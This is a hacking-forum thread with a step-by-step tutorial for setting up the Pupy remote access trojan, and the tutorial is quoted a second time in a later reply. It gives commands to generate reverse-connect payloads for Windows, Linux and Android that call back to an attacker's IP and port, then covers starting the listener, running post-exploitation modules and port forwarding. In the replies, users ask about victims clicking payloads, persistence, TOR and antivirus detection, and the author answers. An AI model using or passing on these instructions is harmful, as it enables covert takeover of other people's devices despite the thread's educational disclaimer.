

Forum: [Hack Forums](#)

Thread: [\[Tutorial\] How to Setup Pupy RAT for Windows, Linux and Android - Opensource \[2017\]](#)

Decim - October 5, 2016, 11:29 am

If you would rather watch a video guide with vocal instructions, check this out:

[Video: <https://www.youtube.com/watch?v=nQzE0IER43A>]

What is Pupy?

Pupy is an opensource, multi-platform (Windows, Linux, OSX, Android), multi function RAT (Remote Administration Tool) and post-exploitation tool mainly written in python.

It features a all-in-memory execution guideline and leaves very low footprint. Pupy can communicate using various transports, migrate into processes (reflective injection), load remote python code, python packages and python C-extensions from memory.

Read more: <https://github.com/n1nj4sec/pupy>

In this tutorial, I'll be showing you how to setup Pupy and generate payloads for Windows, Linux and Android.

Warning

This guide is meant for educational purposes only, accessing other people's computers without appropriate permissions is illegal and I don't condone it in any way.

I am not responsible for your actions.

Getting Started...

To get started, head over to the official Pupy GitHub repo and download the entire project as a zip file.

Extract the contents of the archive and read the text file titled 'Requirements.txt' inside the folder. This text file contains the list of packages required for setting up Pupy - make sure you install all of them.

Generating The Payload

Once you're done installing all the packages, we're ready to generate our payload.

For this, open a terminal window in the directory which contains the 'pupygen.py' file and type:
Code `./pupygen.py` You should now be able to see the proper usage/parameters to be used while generating the payload.

Now open a different terminal and type in the following command to find your IP address:

Code `ifconfig`

The highlighted IP address is the one to which you want your target machines to connect.

Note it down and close the terminal.

Here are the commands for generating payloads for Windows, Linux and Android respectively.

Windows:

Code `./pupygen.py -f exe_x86 -o <FileName>.exe connect --host <IP:Port>` Replace IP:Port with the IP address that we obtained in the above step and any valid port number that is not currently in use. For targeting 64bit machines, change `exe_x86` to `exe_x64`.

Linux:

Code `./pupygen.py -f py -o <FileName>.py connect --host <IP:Port>`

Android:

Code `./pupygen.py -f apk -o <FileName>.apk connect --host <IP:Port>`

If everything went well, it should say "payload successfully generated" and the payload should be visible in the same folder.

Remote Administration

To begin remote administration once the payload has been deployed, open another terminal in the same folder and type in:

Code `./pupysh.py` That will open up the Pupy shell. If it says "Server started on port <PORTNUMBER> with transport ssl", it means your port number was valid and not in use and you're all set to accept the connecting from the target machine.

Input a question mark (?) to get the list of all the available commands.

To see all the available modules, type in:

Code `list_modules`

To use a particular module, follow the format:

Code run `<MODULE NAME>` If a module requires additional parameters, that will be specified.

Once you're done remotely administrating the machine, use the following command to disconnect all the clients:

Code run `general/exit`

Conclusion

This works over LAN. If you wish to do this over the internet, find your public IP address online and make sure that the port you select is appropriately forwarded.

A simple Windows 32bit payload generated by Pupy is around 6MB in size (pretty big) and it is in no way perfect. But it is free and opensource!

Keep that in mind while using Pupy.

That's pretty much it.

If you have any questions, feel free to ask.

- Arcanecfg.

citscloud - October 6, 2016, 1:07 pm

Nice tips, thanks for sharing...!!

DrDoktor - October 6, 2016, 3:44 pm

Can you make this so you can connect over TOR?

FookingHostile - October 18, 2016, 6:13 pm

Thank you for sharing this.

I will be messing around with this in a few days.

mistarp - October 18, 2016, 7:10 pm

Would you prefer this rat over darkcomet?

Decim - October 19, 2016, 11:13 am

(Oct 18, 2016 06:13 PM)FookingHostile Wrote: [\[CITE\]](#) Thank you for sharing this.
I will be messing around with this in a few days.Good luck.

(Oct 18, 2016 07:10 PM)mistarp Wrote: [\[CITE\]](#) Would you prefer this rat over darkcomet?
I would not, but this is a great alternative.

Eliyao032 - October 20, 2016, 5:14 am

Thank you really much, I really liked your video,
If you make a video about how to write modules and more about how it works inside it may be really nice

johnripper - October 21, 2016, 10:10 am

I am wondering can we use metasploit exploits in this?

Kakichan - October 22, 2016, 7:08 pm

thank you for sharing it buddy :)

Icabaddi - October 23, 2016, 6:46 am

Thank your for sharing , it's cool

W1nt3r.St0rm - October 30, 2016, 7:47 am

Nice! Thaks dude! :)
Have a nice day! ;)

Mr.DoomHead - October 30, 2016, 1:08 pm

I set this up on Kali and it worked well :) granted I have only messed around on my home network, but it does its job none the less

Billyocean25 - November 6, 2016, 9:48 pm

Thanks for the info I will try it out.

Decim - November 7, 2016, 11:42 pm

I haven't yet tried the Windows payload. If anyone has, let me know how that turned out.

Mr. Robot - November 7, 2016, 11:43 pm

Ok then. At least it has more effort put into it.
<https://hackforums.net/showthread.php?tid=5415330>

darkvas - November 8, 2016, 10:58 am

What A Nice Tutorial This Is,I Appreciate This,Thank You Very Much.

CountZer0 - November 9, 2016, 7:54 am

Thanks man for the tut, this should be more popular than it is

Decim - November 15, 2016, 6:19 am

(Nov 8, 2016 12:43 AM)Mr. Robot Wrote: [\[CITE\]](#) Ok then. At least it has more effort put into it.
<https://hackforums.net/showthread.php?tid=5415330>
I didn't know it was posted before, and I uploaded the video before your thread.
Thanks anyway.

Omer19967 - November 19, 2016, 4:17 pm

Thank you for for the share my friend

itsmesucker - December 1, 2016, 10:22 am

Thx for the tutorial, its all very clear written. ?

pwn2own - December 2, 2016, 3:57 am

thanks for your special learn thread

Decim - December 4, 2016, 11:46 pm

(Nov 19, 2016 05:17 PM)Omer19967 Wrote: [\[CITE\]](#) Thank you for for the share my friend

(Dec 1, 2016 11:22 AM)itsmesucker Wrote: [\[CITE\]](#) Thx for the tutorial, its all very clear written. ?

(Dec 2, 2016 04:57 AM)pwn2own Wrote: [\[CITE\]](#) thanks for your special learn thread

Glad to help, check out my other videos as well.

SchwererGustav - December 7, 2016, 8:47 am

question please, first thanks for the TUT ,but my question is ,what differes this from reverse_tcp connection? since it needs simultaneous payload clicking with listener setup , or is it listening no matter if the victim clicks it and later on we activate the listener ? >>> one addition , for people with kali rolling ,they should install binaries and transform the binary module into the payload templates file , or else the pupy will not work

Decim - December 7, 2016, 10:09 pm

(Dec 7, 2016 09:47 AM)SchwererGustav Wrote: [\[CITE\]](#) question please, first thanks for the TUT ,but my question is ,what differes this from reverse_tcp connection? since it needs simultaneous payload clicking with listener setup , or is it listening no matter if the victim clicks it and later on we activate the listener ? >>> one addition , for people with kali rolling ,they should install binaries and transform the binary module into the payload templates file , or else the pupy will not workIf I remember correctly, the listener doesn't need to be active at the time the user clicks it. It's been a while since I've used it so I could be wrong.

I've had some people tell me they had issues with the payloads from the repo. I posted a comment on YouTube with an alternate link and that seemed to solve most of the issues.

Affiliatestealth - December 18, 2016, 9:57 pm

has anyone been able to make this persistant

Young Sosa - December 19, 2016, 2:20 am

You're always at the top of the developers Arcane ?

Anyway nice work for the implementation of the Android platform!

sha2016 - December 19, 2016, 4:52 am

Thank you very much thanks for the share men

?V?T?R - December 19, 2016, 4:53 am

Thanks for this usefull tutorial.

Codestroy - December 23, 2016, 1:55 pm

Thank you for sharing this. ?

DroidX - December 25, 2016, 4:12 am

Thanks for shareing looks good

The Kraken - December 25, 2016, 4:17 am
posting here to check it out later.

Decim - January 2, 2017, 8:01 am

(Dec 19, 2016 03:20 AM)Ganjalf Wrote: [\[CITE\]](#) You're always at the top of the developers Arcane ?
Anyway nice work for the implementation of the Android platform!Glad you like my work.

(Dec 19, 2016 05:52 AM)sha2016 Wrote: [\[CITE\]](#) Thank you very much thanks for the share men

(Dec 19, 2016 05:53 AM)?V?T?R Wrote: [\[CITE\]](#) Thanks for this usefull tutorial.

(Dec 23, 2016 02:55 PM)Codestroy Wrote: [\[CITE\]](#) Thank you for sharing this. ?

(Dec 25, 2016 05:12 AM)DroidX Wrote: [\[CITE\]](#) Thanks for shareing looks good
You're all welcome, thanks for reading.

memory - January 3, 2017, 12:58 pm

Thank you for the share, going to test this out once I've got my dual boot setup.

corcuff - January 3, 2017, 1:02 pm

I have used this rat and I recommend it.

Maxs - January 4, 2017, 11:21 pm

Would you prefer this rat over darkcomet?

Velo - January 5, 2017, 12:16 am

So, when I am building my payload for both x86 and x64 -- It says its missing the payload template.
my payload template folder is empty, suggestions?

Decim - January 5, 2017, 3:52 am

(Jan 5, 2017 01:16 AM)Cringe Wrote: [\[CITE\]](#) So, when I am building my payload for both x86 and
x64 -- It says its missing the payload template.

my payload template folder is empty, suggestions?

Download these files and put them in the template folder: <https://github.com/n1nj4sec/pupy-binaries>

WindoG - January 5, 2017, 4:14 am

Wow if i install the app on android would it say error cause that does it for other rats

t0msawyer - January 5, 2017, 8:38 pm

omg beatiful, thank for you information :D

bigmoney - January 6, 2017, 7:41 am

nice tut

thanks for this free staff also

Decim - January 12, 2017, 10:49 pm

(Jan 5, 2017 05:14 AM)WindoG Wrote: [\[CITE\]](#) Wow if i install the app on android would it say error
cause that does it for other rats

Try using Metasploit then, you pretty much get most of the same features.

Freddy Kru?ger - January 13, 2017, 2:08 am

Pretty good shit, going to test it out on my android now.

arun hacker - January 17, 2017, 8:08 pm

Nice tutorial, helped me in setup. Thanks for sharing

Pandarch - February 2, 2017, 11:29 pm

thanks for this! needed for a beginner!

mangdiabloz - February 4, 2017, 12:04 am

cool open source RAT thnx m8

camarazon100 - February 8, 2017, 10:21 am

Thank you for sharing this.

I will be messing around with this in a few days..

elli0t - March 13, 2017, 5:04 am

if I use it on VPS then probably I wont need port forwarding? Can you suggest me what kind of vps would be best for this?

Decim - April 26, 2017, 10:47 am

(Mar 13, 2017 05:04 AM)elli0t Wrote: [\[CITE\]](#) if I use it on VPS then probably I wont need port forwarding? Can you suggest me what kind of vps would be best for this?It was too late for this guy, but here's the answer.

You only need portforwarding if your router's firewall blocks incoming traffic to your machine, which it will on most home network setups. Once you forward a particular port, all the data arriving at that port will be forwarded to any processes listening on that port (ex: the meterpreter shell).

Clova - May 3, 2017, 4:37 am

(Oct 18, 2016 07:10 PM)mistarp Wrote: [\[CITE\]](#) Would you prefer this rat over darkcomet? any day of the week

Senzei - May 8, 2017, 8:53 am

My AV detects an virus, is it safe anyway? I guess it's just a false positive.

owntheGame - May 9, 2017, 10:05 am

Cheers for sharing mate kind of ya

Hopsin - May 10, 2017, 5:12 am

(Oct 5, 2016 11:29 AM)Arcane. Wrote: [\[CITE\]](#) If you would rather watch a video guide with vocal instructions, check this out:

[Video: <https://www.youtube.com/watch?v=nQzE0IER43A>]

What is Pupy?

Pupy is an opensource, multi-platform (Windows, Linux, OSX, Android), multi function RAT (Remote Administration Tool) and post-exploitation tool mainly written in python.

It features a all-in-memory execution guideline and leaves very low footprint. Pupy can communicate using various transports, migrate into processes (reflective injection), load remote python code, python packages and python C-extensions from memory.

Read more: <https://github.com/n1nj4sec/pupy>

In this tutorial, I'll be showing you how to setup Pupy and generate payloads for Windows, Linux and Android.

Warning

This guide is meant for educational purposes only, accessing other people's computers without appropriate permissions is illegal and I don't condone it in any way.

I am not responsible for your actions.

Getting Started...

To get started, head over to the official Pupy GitHub repo and download the entire project as a zip file.

Extract the contents of the archive and read the text file titled 'Requirements.txt' inside the folder. This text file contains the list of packages required for setting up Pupy - make sure you install all of them.

Generating The Payload

Once you're done installing all the packages, we're ready to generate our payload.

For this, open a terminal window in the directory which contains the 'pupygen.py' file and type:
Code `./pupygen.py` You should now be able to see the proper usage/parameters to be used while generating the payload.

Now open a different terminal and type in the following command to find your IP address:

Code `ifconfig`

The highlighted IP address is the one to which you want your target machines to connect.

Note it down and close the terminal.

Here are the commands for generating payloads for Windows, Linux and Android respectively.

Windows:

Code `./pupygen.py -f exe_x86 -o <FileName>.exe connect --host <IP:Port>` Replace IP:Port with the IP address that we obtained in the above step and any valid port number that is not currently in use. For targeting 64bit machines, change `exe_x86` to `exe_x64`.

Linux:

Code `./pupygen.py -f py -o <FileName>.py connect --host <IP:Port>`

Android:

Code `./pupygen.py -f apk -o <FileName>.apk connect --host <IP:Port>`

If everything went well, it should say "payload successfully generated" and the payload should be visible in the same folder.

Remote Administration

To begin remote administration once the payload has been deployed, open another terminal in the same folder and type in:

Code `./pupysh.py` That will open up the Pupy shell. If it says "Server started on port <PORTNUMBER> with transport ssl", it means your port number was valid and not in use and you're all set to accept the connecting from the target machine.

Input a question mark (?) to get the list of all the available commands.

To see all the available modules, type in:

Code `list_modules`

To use a particular module, follow the format:

Code `run <MODULE NAME>` If a module requires additional parameters, that will be specified.

Once you're done remotely administrating the machine, use the following command to disconnect all the clients:

Code run general/exit

Conclusion

This works over LAN. If you wish to do this over the internet, find your public IP address online and make sure that the port you select is appropriately forwarded.

A simple Windows 32bit payload generated by Pupy is around 6MB in size (pretty big) and it is in no way perfect. But it is free and opensource!

Keep that in mind while using Pupy.

That's pretty much it.

If you have any questions, feel free to ask.

- Arcanecfg.

Interesting. Does this work for all android versions ?

rayko0 Expert - May 17, 2017, 8:50 pm

nice tut

Decim - May 18, 2017, 12:03 am

(May 10, 2017 05:12 AM)Hopsin Wrote: [\[CITE\]](#) Interesting. Does this work for all android versions ? Couldn't find anything official. It did work on Lollipop when I tried it.

Decim - May 26, 2017, 3:50 am

Fixed the broken screenshots.

R4wd0g - June 16, 2017, 4:11 am

Hi! could you show how can i setup for WAN? I tried of many ways but no success.
thank you.?

provider - June 16, 2017, 4:15 am

hi nice share there

tnx for it

DinoTube - June 19, 2017, 7:31 am

Nice post ?, but is there a better option for this on Linux? Like paid ones for example.

Geass - June 19, 2017, 2:59 pm

nice tutorial, i am going to bookmark this so i can watch it with my time later, seems really cool :D
cant wait to test the tutorial.

invisiblehunterg - February 10, 2018, 12:32 am

you have to tell complete tutorial

where is port forwarding method